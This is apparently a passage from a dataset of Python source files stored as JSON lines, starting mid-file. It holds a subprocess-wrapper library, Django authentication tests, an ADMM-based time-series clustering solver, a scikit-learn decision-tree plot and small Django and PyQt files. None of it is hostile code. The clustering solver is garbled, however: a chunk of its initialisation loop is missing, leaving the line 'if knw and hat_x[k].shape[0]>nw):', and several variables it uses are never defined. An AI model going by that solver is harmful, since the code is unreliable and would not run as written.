bytes, os.PathLike)\n\n\ndef _to_strlike(obj):\n # type: (Any) -> StrTypes\n \"\"\"Convert an object to a string-like type.\"\"\"\n if isinstance(obj, _STR_TYPES):\n # Object is already suitable for subprocess\n return obj # type: ignore\n # Only convert objects that have an explicit string representation\n # e.g. ints are fine, tuples are not\n # Implicitly converting to bytes is not a good idea, argv can't even\n # contain null bytes\n if getattr(type(obj), '__str__', object.__str__) is object.__str__:\n # Note: this doesn't work on PyPy 2, but it doesn't break anything\n raise TypeError(\"Object of type '{}' can't be converted to string\"\n .format(type(obj).__name__))\n return str(obj)\n\n\ndef _parse(args, opts):\n # type: (Sequence[Any], Mapping[str, Any]) -> Iterator[StrTypes]\n \"\"\"Convert Python function arguments to GNU getopt-style command arguments.\n\n opts are converted using the following procedure:\n - Underscores in keys are replaced by dashes, because dashes are common\n in options but not supported by Python.\n - If a key does not start with a dash, dashes are prepended based on the\n key's length.\n - A single character is assumed to be a short option, and gets one dash.\n - Other keys are assumed to be long options, and get two dashes.\n - If the value is the False object, the option is discarded.\n - If the value is the True object, only the key is yielded.\n - Otherwise, the key is yielded first, and then the value, converted to a\n string unless it's a bytes object.\n\n args (that are not bytes) are converted to strings and yielded otherwise\n unchanged.\n\n >>> list(_parse(['foo', b'bar'], dict(x=True, y=False, baz=23)))\n ['-x', '--baz', '23', 'foo', b'bar']\n\n Args:\n args: A sequence of positional arguments, like *args.\n opts: A dictionary of keyword arguments, like **kwargs.\n\n Yields:\n strings or bytes that can be used as command arguments.\n \"\"\"\n for key, value in opts.items():\n\n key = key.replace('_', '-')\n if not key.startswith('-'):\n if len(key) == 1:\n key = '-' + key\n else:\n key = '--' + key\n\n if value is False:\n continue\n\n if value is True:\n yield key\n continue\n\n yield key\n yield _to_strlike(value)\n\n for arg in args:\n yield _to_strlike(arg)\n\n\ndef _is_reserved(name):\n # type: (str) -> bool\n \"\"\"Return whether a name is reserved by mocksh (or Python itself).\"\"\"\n return name.endswith('_') and len(name) > 2\n\n\nif sys.version_info >= (3, 5):\n _SIGNAL_CODES = {\n signal.name: -signal for signal in signal.Signals\n } # type: Dict[str, int]\nelse:\n _SIGNAL_CODES = {\n name: -getattr(signal, name) for name in dir(signal)\n if name.startswith('SIG') and '_' not in name\n } # type: Dict[str, int]\n\n_SIGNAL_NAMES = {\n value: name for name, value in _SIGNAL_CODES.items()\n} # type: Dict[int, str]\n\n\nclass CommandError(Exception):\n \"\"\"Raised when a command fails.\n\n This class is automatically subclassed for different return codes.\n \"except CommandError:\" works, but more specific handling can be done\n with e.g. \"except CommandError.code(10)\".\n \"\"\"\n _subclasses = {} # type: Dict[int, Type[CommandError]]\n returncode = None\n\n def __new__(cls, returncode, process):\n # type: (Type[CommandError], int, Process) -> CommandError\n subclass = CommandError.code(returncode)\n return super(CommandError, cls).__new__(subclass) # type: ignore\n\n def __init__(self, returncode, process):\n # type: (int, Process) -> None\n super(CommandError, self).__init__(returncode, process)\n self.returncode = returncode\n self.process = process\n\n def __str__(self):\n # type: () -> str\n if isinstance(self.process.args, _STR_TYPES):\n command = self.process.args\n else:\n command = ' '.join(str(arg) for arg in self.process.args)\n if self.returncode in _SIGNAL_NAMES:\n cause = _SIGNAL_NAMES[self.returncode]\n else:\n cause = \"status code {}\".format(self.returncode)\n return \"Command '{}' failed with {}\".format(command, cause)\n\n @classmethod\n def code(cls, returncode):\n # type: (Union[int, str]) -> Type[CommandError]\n \"\"\"Get a subclass for an error code.\"\"\"\n returncode, signame = cls.normalize_code(returncode)\n if returncode not in cls._subclasses:\n def __new__(*_, **__):\n # type: (*Any, **Any) -> NoReturn\n raise TypeError(\"Cannot instantiate CommandError subclasses\")\n index = signame if signame else returncode\n name = \"{}[{!r}]\".format(cls.__name__, index)\n members = {'__new__': __new__, 'returncode': returncode}\n subclass = type(name, (cls,), members) # type: Type[CommandError]\n cls._subclasses.setdefault(returncode, subclass)\n return cls._subclasses[returncode]\n\n __class_getitem__ = code\n\n @staticmethod\n def normalize_code(returncode):\n # type: (Union[int, str]) -> Tuple[int, Optional[str]]\n \"\"\"Normalize an exit code or signal name.\"\"\"\n if isinstance(returncode, str):\n if returncode in _SIGNAL_CODES:\n return _SIGNAL_CODES[returncode], returncode\n raise ValueError(\"Unknown signal {}\".format(returncode))\n elif isinstance(returncode, int):\n if returncode in _SIGNAL_NAMES:\n return returncode, _SIGNAL_NAMES[returncode]\n return returncode, None\n raise TypeError\n\n\nclass Process(subprocess.Popen):\n \"\"\"A subclass of subprocess.Popen with easier behavior.\n\n Designed to be used through mocksh.Command.\n\n Arguments:\n args: A string, or a sequence of program arguments.\n check: Whether to raise an exception if the program exits with failure.\n tail: A Process instance to read the output of and wait for, as in a\n pipeline.\n input: Data to write into the standard input of the process. Can be\n either text or bytes.\n wait: Whether to wait until the process is finished when instantiating.\n timeout: How long to wait before raising a TimeoutExpired exception.\n capture_stdout: Whether to capture standard output.\n Alias for stdout=PIPE.\n capture_stderr: Whether to capture standard error.\n Alias for stderr=PIPE.\n kwargs: Arguments to be passed to subprocess.Popen's initializer.\n \"\"\"\n def __init__(self,\n args, # type: subprocess._CMD\n check=True, # type: bool\n tail=None, # type: Optional[Process]\n input=None, # type: Optional[Union[bytes, Text]]\n wait=False, # type: bool\n timeout=None, # type: Optional[float]\n capture_stdout=False, # type: bool\n capture_stderr=False, # type: bool\n **kwargs # type: Any\n ):\n # type: (...) -> None\n if kwargs.get('shell') and not isinstance(args, _STR_TYPES):\n # This is weird and not very useful, but just in case\n args = ' '.join(str(arg) for arg in args)\n # Strictly speaking, this breaks compatibility with Popen, which\n # just executes [\"/bin/sh\", \"-c\"] + args after normalizing args\n # to a list.\n # On my system, subprocess.Popen(['echo', 'foo'], shell=True)\n # effectively executes \"echo\", without the foo. But that\n # particular \"feature\" is never desirable for this module.\n if PY3:\n # TODO: it would be nice to remove this restriction\n # Maybe re-open the files in text mode in __str__ and __iter__?\n # A new attribute? A new property?\n if kwargs.get('universal_newlines', True) is not True:\n raise ValueError(\"Can't override universal_newlines\")\n kwargs['universal_newlines'] = True\n\n if tail is not None:\n if kwargs.get('stdin') is not None:\n raise ValueError(\"Can't pipe and set stdin at the same time\")\n kwargs['stdin'] = tail.stdout\n if input is not None:\n if kwargs.get('stdin') is not None:\n raise ValueError(\"Can't input and set stdin at the same time\")\n kwargs['stdin'] = PIPE\n\n if capture_stdout:\n if kwargs.get('stdout') is not None:\n raise ValueError(\"Can't capture stdout if redirecting it\")\n kwargs['stdout'] = PIPE\n if capture_stderr:\n if kwargs.get('stderr') is not None:\n raise ValueError(\"Can't capture stderr if redirecting it\")\n kwargs['stderr'] = PIPE\n\n super(Process, self).__init__(args, **kwargs)\n self.check = check\n self.tail = tail\n if self.tail is not None:\n self.stdin = self.tail.stdin\n if not hasattr(self, 'args'):\n self.args = args\n\n if input is not None:\n if self.stdin is None:\n raise TypeError(\"Couldn't find stdin\")\n try:\n if PY3 and isinstance(input, bytes):\n self.stdin.buffer.write(input) # type: ignore\n else:\n self.stdin.write(input)\n except IOError as exc:\n if exc.errno not in {errno.EINVAL, errno.EPIPE}:\n raise\n finally:\n self.stdin.close()\n\n if wait or timeout is not None:\n if timeout is not None:\n self.wait(timeout=timeout)\n else:\n self.wait()\n if self.check:\n self.check_returncode()\n\n @property\n def captured(self):\n # type: () -> StreamType\n \"\"\"Get the output stream that's being captured.\"\"\"\n if self.stdout and self.stderr:\n # People might (reasonably) expect captured to access both if this\n # is possible\n raise AttributeError(\"Capturing both stdout and stderr, use \"\n \".stdout and .stderr directly instead\")\n if self.stdout:\n return self.stdout # type: ignore\n if self.stderr:\n return self.stderr # type: ignore\n raise AttributeError(\"Not capturing any output\")\n\n def __repr__(self):\n # type: () -> str\n argv = ' '.join(str(arg) for arg in self.args)\n name = type(self).__module__ + '.' + type(self).__name__\n if self.tail is None:\n return \"<{}: {}>\".format(name, argv)\n return \"<{}: {!r} | {}>\".format(name, self.tail, argv)\n\n def wait(self, timeout=None):\n # type: (Optional[float]) -> int\n \"\"\"Wait for this process and its tail (if any) to finish.\n\n Arguments:\n timeout: How many seconds to wait before raising\n subprocess.TimeoutExpired. Only supported in Python 3.3+.\n \"\"\"\n if timeout is None:\n if self.tail is not None:\n self.tail.wait()\n return super(Process, self).wait()\n elif sys.version_info >= (3, 3):\n orig_time = _time()\n if self.tail is not None:\n self.tail.wait(timeout=timeout)\n rest = orig_time + timeout - _time()\n return super(Process, self).wait(timeout=rest)\n else:\n raise TypeError(\"Waiting with a timeout requires Python 3.3+\")\n\n def check_returncode(self):\n # type: () -> None\n \"\"\"Raise a CommandError if the exit code is non-zero.\"\"\"\n returncode = self.wait()\n if returncode != 0:\n raise CommandError(returncode, self)\n\n def __enter__(self):\n # type: () -> Process\n return self\n\n def __exit__(self,\n type, # type: Optional[Type[BaseException]]\n value, # type: Optional[BaseException]\n traceback # type: Optional[TracebackType]\n ):\n # type: (...) -> bool\n \"\"\"Close all streams and wait for the process to finish.\"\"\"\n try:\n if self.tail is not None:\n self.tail.__exit__(type, value, traceback)\n for stream in self.stdout, self.stderr, self.stdin:\n if stream:\n stream.close()\n finally:\n self.wait()\n if self.check:\n self.check_returncode()\n return False\n\n def __iter__(self):\n # type: () -> Iterator[str]\n \"\"\"Loop through the lines of command output, without newlines.\"\"\"\n with self:\n for line in self.captured:\n yield line.rstrip('\\r\\n')\n\n def __str__(self):\n # type: () -> str\n \"\"\"Read the output of the command as a string.\"\"\"\n with self:\n return self.captured.read()\n\n if PY3:\n def __bytes__(self):\n # type: () -> bytes\n \"\"\"Read the output of the command as bytes.\"\"\"\n with self:\n return self.captured.buffer.read()\n\n def __bool__(self):\n # type: () -> bool\n \"\"\"Check whether the process exited successfully.\"\"\"\n return self.wait() == 0\n\n __nonzero__ = __bool__\n\n\nclass Command(object):\n \"\"\"A launcher for Process instances that mimics function calls.\n\n Arguments:\n args: A tuple of program arguments.\n opts: Keyword arguments to pass to mocksh.Process.\n kwargs: Alternative syntax for opts.\n\n In most cases you would use this through the pre-built mockh.sh object.\n \"\"\"\n # for the benefit of 'from mocksh import sh'\n PIPE_ = PIPE\n STDOUT_ = STDOUT\n if sys.version_info >= (3, 3):\n DEVNULL_ = DEVNULL\n CommandError_ = CommandError\n\n def __init__(self, args=(), opts=None, **kwargs):\n # type: (Tuple[StrTypes, ...], Optional[Dict[str, Any]], **Any) -> None\n self.args_ = args\n self.opts_ = {} # type: Dict[str, Any]\n if opts:\n self.opts_.update(opts)\n self.opts_.update(kwargs)\n\n def __repr__(self):\n # type: () -> str\n name = type(self).__module__ + '.' + type(self).__name__\n return \"{}({!r}, {!r})\".format(name, self.args_, self.opts_)\n\n def __eq__(self, other):\n # type: (Any) -> bool\n return (type(self) is type(other) and self.args_ == other.args_\n and self.opts_ == other.opts_)\n\n def __getattr__(self, item):\n # type: (str) -> Command\n \"\"\"Return a new instance with `item` appended to the argument list.\"\"\"\n if _is_reserved(item):\n raise AttributeError(item)\n return type(self)(self.args_ + (item.replace('_', '-'),), self.opts_)\n\n def __getitem__(self, index):\n # type: (Union[Any, Tuple[Any]]) -> Command\n \"\"\"Return a new instance with index appended to the argument list.\n\n index will be cast to a suitable type if necessary.\n\n Both `command[arg]` and `command[arg1, arg2, arg3]` are supported.\n \"\"\"\n if not isinstance(index, tuple):\n index = (index,)\n index = tuple(_to_strlike(item) for item in index)\n return type(self)(self.args_ + index, self.opts_)\n\n def __call__(self, *args, **opts):\n # type: (*Any, **Any) -> Process\n \"\"\"Launch a new instance of Process.\n\n args and opts will be converted to (GNU) getopt/argparse-style command\n arguments. However, keyword arguments ending in an underscore will be\n passed (without the underscore) to the initializer of Process instead.\n\n By default, this method waits until the process is finished. To return\n immediately, pass wait_=False.\n\n sh.foo('bar', baz=3, cwd_='/') is equivalent to\n Process(('foo', '--baz', '3', 'bar'), cwd='/')\n \"\"\"\n process_kwargs = self.opts_.copy()\n cmd_opts = {}\n for key, value in opts.items():\n if _is_reserved(key):\n process_kwargs[key[:-1]] = value\n else:\n cmd_opts[key] = value\n argv = self.args_ + tuple(_parse(args, cmd_opts))\n # Wait by default when using this interface\n process_kwargs.setdefault('wait', True)\n return Process(argv, **process_kwargs)\n\n def pipe_(self, *args, **opts):\n # type: (*Any, **Any) -> Command\n \"\"\"Launch an instance of Process as part of a pipeline.\n\n Returns a new Command object to launch a process to continue.\n \"\"\"\n # wait_=False and check_=False are defaults, stdout_=PIPE is mandatory\n opts.setdefault('wait_', False)\n opts.setdefault('check_', False)\n process = self(*args, stdout_=PIPE, **opts)\n return type(self)(opts=self.opts_, tail=process)\n\n def capture_(self, *args, **opts):\n # type: (*Any, **Any) -> Process\n \"\"\"Launch an instance of Process to capture its output.\"\"\"\n opts.setdefault('wait_', False)\n return self(*args, stdout_=PIPE, **opts)\n\n def test_(self, *args, **opts):\n # type: (*Any, **Any) -> Process\n \"\"\"Launch an instance of Process to test whether it succeeds.\"\"\"\n opts.setdefault('check_', False)\n return self(*args, **opts)\n\n if sys.version_info >= (3, 3):\n # older versions can't do super().__dir__\n def __dir__(self):\n # type: () -> List[str]\n \"\"\"Provide PATH autocompletion. Loosely based on shutil.which.\"\"\"\n listing = list(super(Command, self).__dir__())\n if self.args_:\n return listing\n mode = os.F_OK | os.X_OK\n path = os.environ.get('PATH', os.defpath).split(os.pathsep)\n for directory in filter(os.path.isdir, path):\n for filename in os.listdir(directory):\n fpath = os.path.join(directory, filename)\n if os.path.isfile(fpath) and os.access(fpath, mode):\n listing.append(filename.replace('-', '_'))\n return listing\n\n\nsh = Command()\n", "source": "blyxxyz/mocksh", "license": "0BSD"}
+{"text": "from .parsing import parse_string\nfrom .tokens import token\nfrom .users import getUsers, getPlaces\nfrom .flags import flag_define, value_assign", "source": "jaobernardi/roboscovid-redacted", "license": "MIT"}
+{"text": "from rest_framework.test import APIRequestFactory, APITestCase\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom users.models import User\n\nclass RegistrationTests(APITestCase):\n\n @classmethod\n def setUpTestData(cls):\n cls.username = 'testuser'\n cls.password = 'testpassword'\n cls.email = 'test@mail.com'\n cls.invalid_email = 'invalid_email.com'\n cls.first_name = 'John'\n cls.last_name = 'Doe'\n\n\n def test_register_user(self):\n \"\"\"\n Test default rest-auth registration with valid credentials.\n First and last names would fail silently.\n (User would be created, but wouldn't have names assigned)\n \"\"\"\n url = reverse('rest_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.email})\n\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n try:\n User.objects.get(username=self.username)\n except:\n self.assertTrue(False)\n\n\n def test_register_invalid_user(self):\n \"\"\"\n Test default rest-auth registration with invalid credentials.\n Given email is not in accepted form.\n \"\"\"\n url = reverse('rest_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.invalid_email})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n try:\n User.objects.get(username=self.username)\n self.assertTrue(False)\n except:\n pass\n\n\n def test_register_user_with_name(self):\n \"\"\"\n Test custom registration with first and last names on top of rest-auth.\n First and last names are optional.\n \"\"\"\n url = reverse('rest_name_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.email,\n 'first_name': self.first_name,\n 'last_name': self.last_name})\n\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n try:\n user = User.objects.get(username=self.username)\n self.assertEqual(user.first_name, self.first_name)\n self.assertEqual(user.last_name, self.last_name)\n except:\n self.assertTrue(False)\n\n\n def test_register_invalid_user_with_name(self):\n \"\"\"\n Test custom registration with first and last names on top of rest-auth.\n Invalid email is given.\n \"\"\"\n url = reverse('rest_name_register')\n response = self.client.post(url, {'username': self.username,\n 'password1': self.password,\n 'password2': self.password,\n 'email': self.invalid_email,\n 'first_name': self.first_name,\n 'last_name': self.last_name})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n try:\n user = User.objects.get(username=self.username)\n self.assertTrue(False)\n except:\n pass\n\n\nclass LoginTests(APITestCase):\n\n @classmethod\n def setUpTestData(cls):\n cls.username = 'testuser'\n cls.password = 'testpassword'\n cls.url = '/rest-auth/login/'\n\n cls.testuser = User.objects.create_user(\n username=cls.username,\n password=cls.password)\n cls.testuser.save()\n\n\n def test_login(self):\n \"\"\"\n Test default rest-auth login.\n Valid username and password are given.\n \"\"\"\n response = self.client.post(self.url, {'username': self.username,\n 'password': self.password})\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n\n def test_invalid_password_login(self):\n \"\"\"\n Test default rest-auth login.\n Valid username and invalid password are given.\n \"\"\"\n invalid_password = 'invalidpassword'\n response = self.client.post(self.url, {'username': self.username,\n 'password': invalid_password})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n\n def test_invalid_username_login(self):\n \"\"\"\n Test default rest-auth login.\n Invalid username and valid password are given.\n \"\"\"\n invalid_username = 'invalidusername'\n response = self.client.post(self.url, {'username': invalid_username,\n 'password': self.password})\n\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n", "source": "r-kaminski/innovativeproject-inventory-of-supplies", "license": "MIT"}
+{"text": "#For ICDM review only, please do not distribute\n#ALL RIGHTS RESERVED\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom solverADMMmodel7 import myADMMSolver as ADMM7\nfrom solverADMMmodel6 import myADMMSolver as ADMM6\nfrom helper import computeF1Score,extractSlidingWindow,computeF1ScoreWithoutBestMatch,reassignY, upperToFull\nimport copy\n\n\n# In[32]:\n\ndef solve(mts_X,mts_hatX,modelId=7,K=4,beta=2,gamma=10, lamb=1000,rho=1,w=5,n=5,maxIters=30, eps_abs = 1e-2,eps_rel = 1e-2,debug = False,evaluate = False,groundTruth_Y={},groundTruth_hatY={},groundTruth_Z={}):\n# In[]: Initialization\n\n X = extractSlidingWindow(mts_X,w=w,n=n)\n hatX = extractSlidingWindow(mts_hatX,w=w,n=n)\n returnVal = {}\n vec_thetas7 = {}\n vec_thetas6 = {}\n LOG2PI = np.log(2*np.pi)\n nw = n*w\n T = X.shape[0]\n hatT = hatX.shape[0]\n Y = np.zeros(T)\n hatY = np.zeros(hatT)\n Z = np.zeros(hatT)\n if debug:\n print \"completed getting the data\"\n print \"lamb\", lamb\n print \"beta\", beta\n print \"gamma\", gamma\n print \"K\", K\n print \"w\", w\n print \"n\",n\n theta = np.zeros([K,nw,nw])\n hatTheta = np.zeros([K,nw,nw])\n list_f1Y = []\n list_f1hatY = []\n list_f1Z = []\n# In[] ############## Initialize latent state assignment ###############\n\n breakPoint = T/K\n if debug:\n print \"breakPoint\",breakPoint\n for k in xrange(K):\n if knw and hat_x[k].shape[0]>nw):\n if(modelId==7):\n solver7 = ADMM7(lamb,nw,rho,x[k],hat_x[k])\n vec_thetas7[k] = solver7(eps_abs,eps_rel,False)\n else:\n solver6 = ADMM6(lamb,nw,rho,x[k],hat_x[k])\n vec_thetas6[k] = solver6(200,eps_abs,eps_rel,False)\n else:\n print \"x[k].shape[0],hat_x[k].shape[0]\",x[k].shape[0],hat_x[k].shape[0]\n\n# In[]: E-step\n if(modelId == 7): # Model uses partial correlation based transformation function\n vec_thetas = vec_thetas7\n# print \"Model uses partial correlation based transformation function\"\n else: # Model uses Covariance based transformation function.\n vec_thetas = vec_thetas6\n# print \"Model uses Covariance based transformation function.\"\n logDETtheta1_dict = {} # cluster to log_det\n logDETtheta2_dict = {} # cluster to log_det\n# compute log det\n for cluster in xrange(K):\n val = vec_thetas[cluster]\n val1 = val[:,0]\n val2 = val[:,1]\n if debug:\n print '@@@@@@ Iter',iters\n print 'Cluster',cluster\n if debug and not np.any(val2): # check all elements are zeros\n print \"val2.all()==0: cluster = \",cluster\n # val2 = val1\n# print \"OPTIMIZATION for Cluster #\", cluster,\"DONE!!!\"\n theta1 = upperToFull(val1, 0)\n theta2 = upperToFull(val2, 0)\n cov = np.linalg.inv(theta1)\n hatCov = np.linalg.inv(theta2)\n if debug:\n print '@@@@@@ Iter',iters\n print 'Cluster',cluster\n print 'cov\\n',cov\n# plotMultiGaussian(cov)\n print 'hatCov\\n',hatCov\n# plotMultiGaussian(hatCov)\n\n DETtheta1 = np.linalg.det(theta1)\n DETtheta2 = np.linalg.det(theta2)\n if DETtheta1==0:\n # print theta1\n print \"???????????????????????np.linalg.det(theta1) = \",DETtheta1\n DETtheta1 = 0e-4#np.abs(DETtheta1);\n\n\n if DETtheta2==0:\n # print theta2\n print \"????????????????????????np.linalg.det(theta2) = \",DETtheta2\n DETtheta2 = 0e-4#np.abs(DETtheta2);\n\n\n logDETtheta1 = np.log(DETtheta1)\n logDETtheta2 = np.log(DETtheta2)\n logDETtheta1_dict[cluster] = logDETtheta1\n logDETtheta2_dict[cluster] = logDETtheta2\n\n theta[cluster] = theta1\n hatTheta[cluster] = theta2\n\n Y_changed_count = 0\n\n lle_allNodes = np.zeros([T,K])\n for t in xrange(T):\n for k in xrange(K):\n x_mu = X[t,:] - dict_mu[k]\n lle_allNodes[t,k] = (np.dot(np.dot(np.transpose(x_mu),theta[k]),x_mu)-logDETtheta1_dict[k]+nw*LOG2PI)/2\n\n Y = reassignY(lle_allNodes,gamma)\n if evaluate:\n print \"Y assignment at iteration\",iters\n f1_Y = computeF1Score(Y,groundTruth_Y,True)\n print \"Y_f1 =\", f1_Y\n print \"\"\n list_f1Y.append(f1_Y)\n\n Z_changed_count = 0\n # Start dynamic programming algorithm to reassign hatY and Z\n ll0 = np.zeros([hatT,K]) # corresponding to J in the paper\n ll1 = np.zeros([hatT,K]) # corresponding to \\hat J in the paper\n for t in xrange(hatT):\n for k in xrange(K):\n x1 = hatX[t,:] - dict_mu[k]\n x0 = hatX[t,:] - dict_hat_mu[k]\n theta1 = theta[k]\n theta2 = hatTheta[k]\n if t == 0:\n cov = np.linalg.inv(theta1)\n hatCov = np.linalg.inv(theta2)\n logDETtheta1 = logDETtheta1_dict[k]\n logDETtheta2 = logDETtheta2_dict[k]\n\n ll0[t,k] = ((np.dot(np.dot(np.transpose(x0),theta2),x0)-logDETtheta2+(nw)*LOG2PI)/2)\n ll1[t,k] = ((np.dot(np.dot(np.transpose(x1),theta1),x1)-logDETtheta1+(nw)*LOG2PI)/2)\n#\n preCost = np.zeros([K,2])\n curCost = np.zeros([K,2])\n #prePath = [[]]*(K*2) # encoding 10 11 20 21... with 0 1 2 3 4...\n #curPath = [[]]*(K*2)\n pathMat = np.zeros([hatT,K*2],dtype = 'int32')\n #\n cost = []\n minNode = 0\n for t in xrange(hatT):\n # if t%1000 == 0:\n # print t\n\n #topTen = 1000;\n #for t in xrange(topTen):\n # curPath = [[]]*(K*2)\n pminIdx0 = np.argmin(preCost[:,0])\n preMin0 = preCost[pminIdx0,0]\n pminIdx1 = np.argmin(preCost[:,1])\n preMin1 = preCost[pminIdx1,1]\n for k in xrange(K):\n # when Z = 0\n curCost0 = preCost[k,0]\n curCost1 = preCost[k,1]+beta\n preMinCost0 = preMin0+gamma\n preMinCost1 = preMin1+beta+gamma\n cost = [curCost0, curCost1, preMinCost0, preMinCost1]\n minNode = np.argmin(cost)\n curCost[k,0] = cost[minNode]+ll0[t,k]\n if minNode == 0:\n pathMat[t,k*2] = k*2\n\n elif minNode == 1:\n pathMat[t,k*2] = k*2+1\n\n elif minNode == 2:\n pathMat[t,k*2] = pminIdx0*2\n\n else:\n pathMat[t,k*2] = pminIdx1*2+1\n\n curCost0 = preCost[k,0]+beta\n curCost1 = preCost[k,1]\n preMinCost0 = preMin0+beta+gamma\n preMinCost1 = preMin1+gamma\n cost = [curCost0, curCost1, preMinCost0, preMinCost1]\n\n minNode = np.argmin(cost)\n curCost[k,1] = cost[minNode]+ll1[t,k]\n if minNode == 0:\n pathMat[t,k*2+1] = k*2\n elif minNode == 1:\n pathMat[t,k*2+1] = k*2+1\n elif minNode == 2:\n pathMat[t,k*2+1] = pminIdx0*2\n else:\n pathMat[t,k*2+1] = pminIdx1*2+1\n preCost = curCost\n\n finalMinIdx = np.argmin(curCost)\n\n curNode = finalMinIdx\n preNode = finalMinIdx\n\n for t in xrange(hatT-1,-1,-1):\n preNode = pathMat[t,curNode]\n hatY[t] = preNode/2\n Z[t] = preNode%2\n if not(np.equal(hatY[t],old_hatY[t])):\n Y_changed_count = Y_changed_count+1\n if not(np.equal(Z[t],old_Z[t])):\n Z_changed_count = Z_changed_count+1\n curNode = preNode\n\n\n# In[normal]\n if evaluate:\n print \"hat_Y assignments at iteration:\",iters\n f1_hatY = computeF1Score(hatY,groundTruth_hatY,True)\n print \"hat_Y_f1 = \",f1_hatY\n print \"Z assignments at iteration:\",iters\n f1_hatZ = computeF1ScoreWithoutBestMatch(Z,groundTruth_Z,True)\n accZ = 1.0*sum(Z==groundTruth_Z)/hatX.shape[0]\n print \"Z_f1, accZ = \",f1_hatZ,accZ\n list_f1hatY.append(f1_hatY)\n list_f1Z.append(f1_hatZ)\n\n\n# In[check convergence]\n\n if (Y_changed_count<30 and Z_changed_count<30 and iters>5) :\n print \"All Done!!!!!!!!!!!!!!!!!!!! Early stationary at iteration\", iters\n break;\n # end E-M loop\n# In[Evaluate results]:\n if evaluate:\n xaxis = xrange(len(list_f1Y))\n plt.figure()\n # f1plt = plt.plot()\n plt.plot(xaxis,list_f1Y,label = \"f1Y\")\n plt.plot(xaxis,list_f1hatY,label = \"f1hatY\")\n plt.plot(xaxis,list_f1Z,label = \"f1Z\")\n plt.legend()\n plt.xlabel(\"iteration\")\n plt.ylabel(\"f1 score\")\n\n returnVal['Y'] = Y\n returnVal['hatY'] = hatY\n returnVal['Z'] = Z\n returnVal['theta'] = theta\n returnVal['hatTheta'] = hatTheta\n\n return returnVal\n\n\n\n", "source": "qingzheli/partial-correlation-based-contrast-pattern-mining", "license": "BSD-2-Clause"}
+{"text": "from django.apps import AppConfig\nfrom django.utils.translation import ugettext_lazy as _\n\n\nclass MojoNavigation(AppConfig):\n name = 'mojo.navigation'\n verbose_name = _(\"Mojo navigation\")\n", "source": "django-mojo/mojo-navigation", "license": "BSD-3-Clause"}
+{"text": "'''\nCreated on July 7, 2019\n\n@author: Terry\n@email\uff1aterryluohello@qq.com\n'''\nprint(__doc__)\n\nimport numpy as np \nimport matplotlib.pyplot as plt \n\nfrom sklearn.datasets import load_iris\nfrom sklearn.tree import DecisionTreeClassifier, plot_tree\n\n# Parameter\nn_classes = 3\nplot_colors = \"ryb\"\nplot_step = 0.02\n\n# Load data\niris = load_iris()\n\nfor pairidx, pair in enumerate([[0,1],[0,2],[0,3],\n [1,2],[1,3],[2,3]]):\n # We only take two corresponding features\n X = iris.data[:,pair]\n y = iris.target\n\n # Train\n clf = DecisionTreeClassifier().fit(X,y)\n\n # Plot the descision boundary\n plt.subplot(2,3,pairidx + 1)\n x_min, x_max = X[:,0].min() - 1, X[:,0].max() - 1\n y_min, y_max = X[:,1].min() - 1, X[:,1].max() - 1\n xx, yy = np.meshgrid(np.arange(x_min,x_max,plot_step),\n np.arange(y_min,y_max,plot_step))\n plt.tight_layout(h_pad=0.5,w_pad=0.5,pad=2.5)\n\n Z = clf.predict(np.c_[xx.ravel(),yy.ravel()])\n Z = Z.reshape(xx.shape)\n cs = plt.contourf(xx, yy, Z, cmap=plt.cm.RdYlBu)\n plt.xlabel(iris.feature_names[pair[0]])\n plt.ylabel(iris.feature_names[pair[1]])\n \n # Plot the training points\n for i, color in zip(range(n_classes),plot_colors):\n idx = np.where(y == i)\n plt.scatter(X[idx,0],X[idx,1],c=color,label=iris.target_names[i],\n cmap=plt.cm.RdYlBu,edgecolors='black',s=15)\nplt.suptitle(\"Decision surface of a decision tree using paired features\")\nplt.legend(loc='lower right', borderpad=0, handletextpad=0)\nplt.axis(\"tight\")\n\nplt.figure()\nclf = DecisionTreeClassifier().fit(iris.data, iris.target)\nplot_tree(clf, filled=True)\nplt.show()", "source": "Teeerry/decision-tree", "license": "MIT"}
+{"text": "from PyQt5 import QtWidgets, QtCore, QtGui\n\n\nclass AlbumButton(QtWidgets.QFrame):\n\n selected = QtCore.pyqtSignal(str)\n\n def __init__(self, image, audio):\n super().__init__()\n self.audio = audio\n self.background_image = QtGui.QPixmap(image).scaled(100, 100,\n QtCore.Qt.KeepAspectRatioByExpanding)\n self.background_label = QtWidgets.QLabel(self)\n self.background_label.setFixedSize(100, 100)\n self.background_label.setPixmap(self.background_image)\n self.setFixedSize(100, 100)\n self.setCursor(QtCore.Qt.PointingHandCursor)\n\n def mouseReleaseEvent(self, event):\n \"\"\"Detect click event, which is when the mouse is\n released and still hovering over the item.\"\"\"\n mouse = self.mapToParent(event.pos())\n if self.pos().x() < mouse.x() < self.pos().x() + self.width():\n if self.pos().y() < mouse.y() < self.pos().y() + self.height():\n self.selected.emit(self.audio)\n", "source": "RohanJnr/code-jam-5", "license": "MIT"}
